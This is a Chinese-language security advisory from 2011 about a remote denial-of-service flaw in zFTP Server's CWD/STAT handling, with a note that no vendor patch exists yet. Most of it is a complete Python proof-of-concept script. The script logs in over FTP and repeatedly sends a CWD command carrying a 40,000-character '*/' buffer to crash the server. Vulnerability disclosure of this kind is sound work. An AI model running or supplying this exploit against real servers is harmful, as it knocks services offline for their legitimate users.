发布日期：2011-10-25
更新日期：2011-10-25

受影响系统：

zftpserver zFTP Server

描述：

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BUGTRAQ  ID: 50345

zFTP Server是可扩展的Windows FTP服务器。

zFTP Server在cwd/stat命令的实现上存在漏洞，远程攻击者可利用此漏洞使受影响应用程序崩溃，拒绝服务合法用户。

<*来源：Myo Soe
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/python

# Exploit Title: zFTP Server "cwd" Remote Denial-of-Service
# Date: 2011-10-24
# Author: Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >
# Version: 2011-04-13 08:59
# Tested on: Windows XP, 2K3

import socket
import sys
import time

author = '(c) Myo Soe < YGN Ethical Hacker Group, Myanmar - http://yehg.net/ >'

# server
server = 'zFTP Server version 2011-04-13 08:59'
title = ' "cwd" Remote Denial-of-Service Proof-of-Concept'

# payload

buffer= '*/' * 20000
cmd = "CWD"
payload = cmd + ' ' + buffer

pre_msg = 'Sending STAT DoS ... This may take a while '
post_msg = 'Job Done!'


def trigger(host, port, user, passw):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    
    try:
        sock.connect((host, port))
    except:
        sys.stderr.write(now() + 'ERROR: Cannot Connect to '+ host + ':' + str(port) + '\r\n')
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("USER " + user + "\r\n")
    r=sock.recv(1024)
    sock.send("PASS " + passw + "\r\n")
    r=sock.recv(1024)
    if 'Login not accepted' in r:
        sys.stderr.write(now() + 'ERROR: Incorrect username or password')
        sys.exit(1)
            
    print now(), pre_msg, '\r\n'
    try:
        for i in range(1,10):
            print "#",i
            sock.send(payload + "\r\n")
            time.sleep(5)
    except Exception, err:
        if 'Connection reset by peer' in str(err):
            print '\r\n',now(), server, ' has crashed'
        else:
            sys.stderr.write('\r\n' + now() + 'ERROR: %s\r\n' % str(err) + '\r\nWait a few seconds to see the server crashed\r\n')
        
    sock.close()
    print '\r\n',now(),post_msg
    

def now():
    return time.strftime("[%Y-%m-%d %X] ")
    

def banner():
    print "\r\n",server,title,"\r\n",author,"\r\n\r\n"
    
def help():
    print "Usage: poc.py IP username password"


def main():
    banner()

    if len(sys.argv) <> 4:
        help()
        sys.exit(1)
    else:
        host = sys.argv[1]
        user = sys.argv[2]
        passw = sys.argv[3]
        trigger(host,21,user,passw)
        sys.exit(0)
    
if __name__ == '__main__':
    main()

建议：

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厂商补丁：

zftpserver
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.zftpserver.com/

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